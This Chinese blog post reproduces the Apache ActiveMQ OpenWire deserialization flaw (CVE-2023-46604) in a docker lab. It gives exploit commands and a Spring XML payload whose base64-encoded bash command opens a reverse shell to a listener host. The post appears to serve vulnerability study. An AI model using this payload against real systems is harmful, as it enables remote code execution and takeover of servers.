CVE-2023-46604

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActvieMQ5.18.2版本以及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作OpenWire协议中的序列化类型,导致代理的类路径上任何类实例化,从而执行任意命令。

漏洞环境

cd activemq/CVE-2023-46604
docker-compose up -d 
默认端口 默认条件
8161 web 需配置才可远程访问
61616 tcp 远程访问
反序列化漏洞出现在61616端口中。

漏洞复现

首先,启动一个HTTP发连接服务器,其中包含我们的poc.xml:

python3 -m http.server 6666

img

然后,执行poc.py,传入的三个参数分别是目标服务器地址、端口、以及包含poc.xml的反连平台URL:

python3 poc.py target port http://ip of http server/poc.xml

执行完成后,进入ActiveMQ容器:

docker exec cve-2023-46604-activemq-1 ls -l /tmp

反弹shell
修改xml忘记为反弹shell命令

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

img
img

shell编译成base64网站
img

posted @ 2024-01-19 17:21  kalixcn  阅读(1127)  评论(0编辑  收藏  举报